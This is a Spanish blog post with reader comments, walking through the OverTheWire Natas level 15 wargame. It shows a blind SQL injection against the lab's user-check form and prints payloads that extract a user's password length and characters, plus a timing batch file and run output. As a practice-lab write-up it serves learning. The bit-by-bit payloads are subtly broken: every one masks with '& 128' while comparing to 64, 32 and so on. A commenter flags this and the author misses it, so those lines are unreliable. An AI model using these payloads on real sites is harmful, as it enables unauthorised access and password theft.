lunes, 21 de enero de 2013

Jugando sí se aprende (advierto, nivel básico)

Andaba un poco perdido tras haber terminado el Holiday Hack cuando un tweet de Daniel Garcia (a.k.a. @danigargu) dirigió mi atención hacia la web de overthewire y la lista de wargames que tienen publicados. De todos los disponibles el primero que llamó mi atención por su temática relacionada con la seguridad de las aplicaciones web en la parte del servidor fué Natas, y como "mente ociosa solo trae malos pensamientos" allá que me puse con ello.

Realmente os animo a jugar: es entretenido, el nivel es bastante asequible y enseña los errores que no se deberían cometer a la hora de asegurar una aplicación web. De hecho si he logrado convencerte no deberías seguir leyendo esto, ya que aunque no voy a detallar los pasos para completar el wargame si me centraré en una de las pruebas, lo que personalmente hice para pasarla y lo que he aprendido por el camino.

Toma de contacto

Para acceder a los distintos niveles tenemos que disponer de un usuario, que siempre es natasX siendo X el número correspondiente al nivel, y una contraseña que habremos obtenido en el nivel anterior. Concretamente comentaré acerca del nivel 15 y el método seguido para sacar la contraseña de acceso al nivel 16, ya que el usuario lo tenemos claro: natas16.

Para llegar a éste nivel hemos tenido que valernos previamente de una SQL injection utilizando las tan denostadas por unos y queridas por otros comillas, comillas dobles concretamente. Además durante el proceso de prueba/error hemos descubierto que la base de datos funcionando en el backend es MySQL.

Cuando accedemos al nivel 15 nos encontramos un formulario que permite introducir un nombre de usuario y comprobar si está dado de alta en la base de datos. También tenemos un enlace para ver el código fuente y por ende la lógica de la aplicación, pero como que somos muy chulitos vamos a probar a pelo. Primera prueba lógica que se me ocurre, probar con un usuario que exista, así que utilizando natas16 obtenemos:

This user exists.

Vale, vamos bien. Segunda prueba lógica, probar con un usuario que no exista, así que probaremos con foobar que queda como que muy profesional y casi seguro que no va a estar. Resultado:
This user doesn't exist.

Y ahora la refinitiva, vamos a meter unas comillas dobles para ver si el formulario, como el del nivel anterior, también es vulnerable a una SQL injection:
Error in query.

Ya la hemos jodío, parece que los errores producidos por carácteres "indeseables" son capturados por la aplicación. ¿Aún así seguirá siendo vulnerable? Recapitulemos, la lógica me inclina a pensar que la consulta SQL ejecutada debe ser algo como:
select * from users where username = "loqueyometo";

así que si utilizo un usuario existente más una expresión verdadera y exijo que ambas se cumplan para que la consulta sea válida y el formulario es vulnerable a una SQL injection debería devolverme la cadena "This user exists".

Como siempre, se entiende mejor viéndolo, en este caso la cadena a inyectar; el comentario final, los dos guiones, únicamente inhabilitan el resto de la consulta y los incluyo sólo por si realmente hay algo más detrás de lo que imagino que hay:
natas16" and 1 = 1 --"

con lo que la supuesta consulta SQL final quedaría:
select username from users where username = "natas16" and 1 = 1 --""

Lo pruebo y obtengo como resultado la cadena esperada, "This user exists". Por confirmar voy a probar ahora con un usuario existente más una expresión falsa volviendo a exigir que se cumplan ambas condiciones para que la consulta sea válida. Dado que una de ellas ya se de antemano que es falsa debería obtener como resultado la cadena "This user doesn't exist".
natas16" and 1 = 2 --"

con lo que la consulta SQL quedaría:
select username from users where username = "natas16" and 1 = 2 --""

Obtengo la cadena "This user doesn't exist" así que confirmo mis suposiciones: es una blind SQL injection.

¿Y eso que es?

Pues es una SQL injection de las de toda la vida sólo que en este caso no podemos obtener directamente lo que buscamos ya que la aplicación no nos devuelve ningun campo sobre el que tengamos control y podamos utilizar para mostrar resultados. Pero no está todo perdido ya que como obtenemos resultados diferentes para consultas correctas e incorrectas aún podemos inferir lo que buscamos.

Podemos intentar obtener la longitud de la contraseña para el usuario natas16 resultado que utilizaremos posteriormente para averiguarla. Existe una función de MySQL, length(str), que nos devuelve el tamaño de una cadena que se le pase como argumento. Si a eso le sumamos que sabemos los resultados para consultas correctas, llamemos a éste resultado flag OK, e incorrectas, llamemos a éste resultado flag NOK, podemos ir probando tamaños hasta que la aplicación nos devuelva NOK:
natas16" and (SELECT length(password) FROM users where username='natas16') > 1 --"
natas16" and (SELECT length(password) FROM users where username='natas16') > 2 --"
natas16" and (SELECT length(password) FROM users where username='natas16') > 3 --"
...

que producirán, siempre supuestamente, las siguientes consultas:
select * from users where username = "natas16" and (
select length(password) from users where username='natas16') > 1 --""
select * from users where username = "natas16" and (
select length(password) from users where username='natas16') > 2 --""
select * from users where username = "natas16" and (
select length(password) from users where username='natas16') > 3 --""
...

Llegará un momento en que el valor que indiquemos no será mayor, obtendremos el flag NOK, y podremos inferir que la longitud se corresponderá justo con el valor probado en la consulta anterior.

Disponiendo ahora de la longitud pasaremos a obtener la contraseña. Utilizaremos ahora dos funciones más ofrecidas por MySQL. La primera, ascii(chr), nos permite obtener el valor numérico correspondiente al carácter que se le pase como argumento, y la segunda, substring(str,pos,len), nos permite extraer tantos caracteres como se le indiquen, len, desde una posición determinada, pos. Lo que haremos:
  • Obtener un carácter de la contraseña mediante la función substring.
  • Convertirlo a su equivalente numérico utilizando la función ascii.
  • Compararlo con el primer valor de una serie de caracteres (letras mayúsculas y minúsculas, y números):
    • Si ambos caracteres coinciden, obtener el siguiente carácter y repetir el proceso.
    • Si los caracteres no coinciden, comparamos con el siguiente valor y así hasta que coincidan.
  • Reiniciar el proceso para obtener el siguiente carácter.
  • Cuando tengamos tantos caracteres como larga sea la contraseña habremos terminado.

Un ejemplo de la cadena a inyectar para comparar el primer carácter de la contraseña con el valor numérico en formato decimal extraído de la tabla ascii para el carácter 0 sería:
natas16" and ascii(substring((SELECT password FROM users
where username='natas16'),1,1)) = 50 --"

que se correspondería con la siguiente consulta SQL generada por la aplicación:
select * from users where username = "natas16" and
ascii(substring((SELECT password FROM users
where username='natas16'),1,1)) = 50 --"

Si el primer carácter de la contraseña es igual a "0" la aplicación nos devolverá el flag OK, "This user exists", y podremos seguir probando con el segundo caracter de la contraseña. Si por el contrario el primer carácter de la contraseña no es "0" la aplicación nos devolverá el flag NOK, "This user doesn't exist", y tendremos que seguir probando con otro valor hasta dar con el adecuado, y así sucesivamente.

Hacer esto a mano es de locos, asi que vamos a tirar de python :)

Que trabaje la maquina por mí

La estructura original del primer script era mucho más fea, además de no devolver mucho feedback al usuario lo que podía llevar a pensar, y de hecho era lo que yo pensaba nada más escribirlo y probarlo, que una de dos, o se había quedado colgado o simplemente no funcionaba; aunque sí funcionaba y me ayudó a superar la prueba. Sumémosle a esto último que me quedé atascado bastante tiempo en el último nivel hasta que hice trampas y busqué la solución, la cual encontré aquí. Resumiendo, que me gustó mucho la forma en que Julien Voisin iba presentando los resultados y había estructurado su script para el nivel 16, así que adapté el mío para que se pareciese y quedara más chulo. Para hacer una estimación del tiempo que tardaba en obtener la password utilizaba el siguiente batch:
@echo off
setlocal

echo %time%
echo ---------------------
cmd /c %*
echo ---------------------
echo %time%

que pasándole como parámetros la cadena de ejecución del script me dió como resultado:
C:\>timer.cmd python blindsqli.py
16:15:13,65
---------------------
Url: http://natas15.natas.labs.overthewire.org
[*] Authenticating
[*] Guessing password length...
[*] Password lenght: AQUIVAELTAMANYO
[*] Guessing password...
[*] Password guessed!
Password: AQUIVALAPASSWORD
---------------------
16:22:07,97

El script cumplía con su objetivo aunque no destacaba precisamente por su velocidad, así que decidí tratar de mejorarlo leyendo el más que recomendable "SQL injection: attacks and defense", donde se mencionan dos métodos mucho más eficientes para obtener los datos deseados: búsqueda binaria y bit-a-bit.

Resulta que el algoritmo que había utilizado y que se encarga de recorrer secuencialmente el contenido de un conjunto de valores hasta dar con el deseado, se conoce como búsqueda lineal y es matemáticamente mucho más ineficiente que la búsqueda binaria; para que luego digan que las matemáticas no sirven para nada (nota mental: estudiar algoritmia). No me detendré en el método de la búsqueda binaria, que ya hay mucho material, pero sí en el de bit-a-bit, ya que me pareció mucho más fácil de implementar y a priori mucho más rápido que los otros dos. Me explicaré...(o al menos lo intentaré).

Como ya sabrás, cada carácter que forma parte de la contraseña se representa internamente como un byte el cual a su vez está dividido en 8 bits con sólo dos valores posibles, 0 ó 1. La idea es utilizar alguna de las operaciones binarias de MySQL para obtener el valor de cada uno de esos bits de forma independiente. Ésto nos garantizará que para cada carácter se realizarán un mínimo y un máximo de 8 consultas. Por lo tanto las cadenas que inyectaremos por cada carácter (aumentando N desde 1 hasta la longitud de la contraseña) serán:
natas16" and ascii(substring((SELECT password FROM users
where username='natas16'),N,1)) & 128 = 128 --"
natas16" and ascii(substring((SELECT password FROM users
where username='natas16'),N,1)) & 128 = 64 --"
natas16" and ascii(substring((SELECT password FROM users
where username='natas16'),N,1)) & 128 = 32 --"
natas16" and ascii(substring((SELECT password FROM users
where username='natas16'),N,1)) & 128 = 16 --"
natas16" and ascii(substring((SELECT password FROM users
where username='natas16'),N,1)) & 128 = 8 --"
natas16" and ascii(substring((SELECT password FROM users
where username='natas16'),N,1)) & 128 = 4 --"
natas16" and ascii(substring((SELECT password FROM users
where username='natas16'),N,1)) & 128 = 2 --"
natas16" and ascii(substring((SELECT password FROM users
where username='natas16'),N,1)) & 128 = 1 --"

Cada una de estas consultas, en caso de ser cierta nos devolverá el flag OK, "This user exists", y por lo tanto el valor del bit será igual a 1, o por el contrario devolverá el flag NOK, "This user doesn't exist", siendo entonces 0 el valor correspondiente al bit. Cuando tengamos los 8 bits tendremos por tanto el valor del byte, el cual interpretaremos como un caracter ASCII.

No sé si me he explicado muy bién, así que aquí os dejo el script definitivo para que le echéis un vistazo. Observaréis como también he eliminado la obtención previa de la longitud de la contraseña para ahorrar así algunas consultas más. Para comprobar si hemos llegado al final de la misma comparo el byte inferido con el valor para la cadena vacía, que sería el resultado obtenido al ejecutar la funcion substring pasándole como parámetro un valor de posición inexistente ya que la cadena es más corta. Un ejemplo de su ejecución haciendo nuevamente un cutre "benchmark":
C:\>timer.cmd python blindsqli.py
17:12:26,00
---------------------
Url: http://natas15.natas.labs.overthewire.org
[*] Authenticating
[*] Guessing password...
[*] Password guessed!
Password: AQUIVALAPASSWORD
---------------------
17:14:03,11

Al menos para este caso el script es mucho más rapido. Quizás utilizando adecuadamente threads para comparar simultáneamente los 8 bits por cada byte iría aún más rápido, aunque en las pruebas que yo he hecho sin tener ni idea la mejoría no ha sido muy notable que digamos :(

En breve más y mejor, espero ;)

Enlaces de interés

Advanced SQL Injection in SQL Server Applications

(more) Advanced SQL Injection

Hackproofing MySQL

Data-Mining With SQL Injection and Inference

Time-Based Blind SQL Injection with Heavy Queries

From SQL injection to shell

SQL Injection Online Cheatsheet

MySQL: funciones para cadenas de caracteres

SQL Injection: attacks and defense
Justin Clarke
Syngress

9 comentarios:

Anónimo dijo...

Muchas gracias por compartir la info. Me la merendaré en cuanto pueda :D

Anónimo dijo...

Hola,

He estado probando lo que comentas pero el script en python (lenguaje del cual no soy experto) no me funciona.

Primero me daba un error en los niveles de anidamiento de recursividad y tras resolverlo me da otro a través de urllib2.

¿Te ocurrio lo mismo en su momento? ¿Alguna sugerencia?

Saludos

neofito dijo...

Acabo de probarlo y me funciona perfectamente, tanto en Windows como en Linux.

¿Has modificado el valor de la constante PWD del script para incluir la contraseña de acceso al nivel 15?

Si la pregunta anterior es afirmativa, ¿con que version de python lo estas ejecutando?¿cuales son los errores que te aparecen?

Saludos

Anónimo dijo...

Hola,

Pues he probado con varias versiones de python en backtrack principalmente y una versión en windows XP sin fortuna.

Te muestro los resultados:

- Python2.6 (Backtrack): urllib2.URLError:
- Python2.7 (Backtrack y Win): urllib2.HTTPError: HTTP Error 401: basic auth failed
- Python3 (Backtrack):
File "blindsqli.py", line 91
print 'Url: %s' % URL
^
SyntaxError: invalid syntax

Saludos!

neofito dijo...

Siento ser repetitivo, pero para aislar el problema: ¿has modificado el valor de la constante PWD del script para incluir la contraseña de acceso al nivel 15?

No inclui la contraseña correcta para no jorobar a aquellos que quisieran superar la prueba anterior y obtener asi el acceso a este nivel.

Tiene pinta de ser eso por el mensaje que te lanza en python 2.7. El problema en python 3.0 no es el mismo dado que anteriormente detecta un error con el formato utilizado con print, ya que este ha variado desde la version 2.7. Para python 2.6 no tengo ninguno a mano pero me huele que el problema es el mismo.

Saludos

Anónimo dijo...

No eres repetitivo, efectivamente había modificado el valor de la constante PWD.

Gracias de antemano.

neofito dijo...

Pues solo se me ocurre que me mandes un correo electronico con un copy/paste del mensaje completo de error que te da la ejecucion del script a ver si asi lo solucionamos.

Puedes ver mi correo en el enlace "Acerca de mi" del blog.

Saludos

Anónimo dijo...

Hola Javi. No se si estoy equivocado, pero tienes un error en la redacción de la siguientes sentencias.
natas16" and ascii(substring((SELECT password FROM users
where username='natas16'),N,1)) & 128 = 128 --" #Esta creo que es la correcta para todos
natas16" and ascii(substring((SELECT password FROM users
where username='natas16'),N,1)) & 128 = 64 --"
natas16" and ascii(substring((SELECT password FROM users
where username='natas16'),N,1)) & 128 = 32 --"
natas16" and ascii(substring((SELECT password FROM users
where username='natas16'),N,1)) & 128 = 16 --"
natas16" and ascii(substring((SELECT password FROM users
where username='natas16'),N,1)) & 128 = 8 --"
natas16" and ascii(substring((SELECT password FROM users
where username='natas16'),N,1)) & 128 = 4 --"
natas16" and ascii(substring((SELECT password FROM users
where username='natas16'),N,1)) & 128 = 2 --"
natas16" and ascii(substring((SELECT password FROM users
where username='natas16'),N,1)) & <b>128 = 1 --"
 
No se si estoy equivocado o que, corrigueme si es asi.
No conosco la busqueda bit a bit, pero me llamo la atencion, incluso busque en tu codigo de python y pones que el valor sea igual tu codigo en python.
for value in BIT:
query = QRY % (str(position), str(value), str(value))
 
De antemano gracias por sacarme de la duda

neofito dijo...

Disculpa, pero no consigo ver la diferencia entre las sentencias que tu indicas y las que incluí en su momento :-(

Un saludo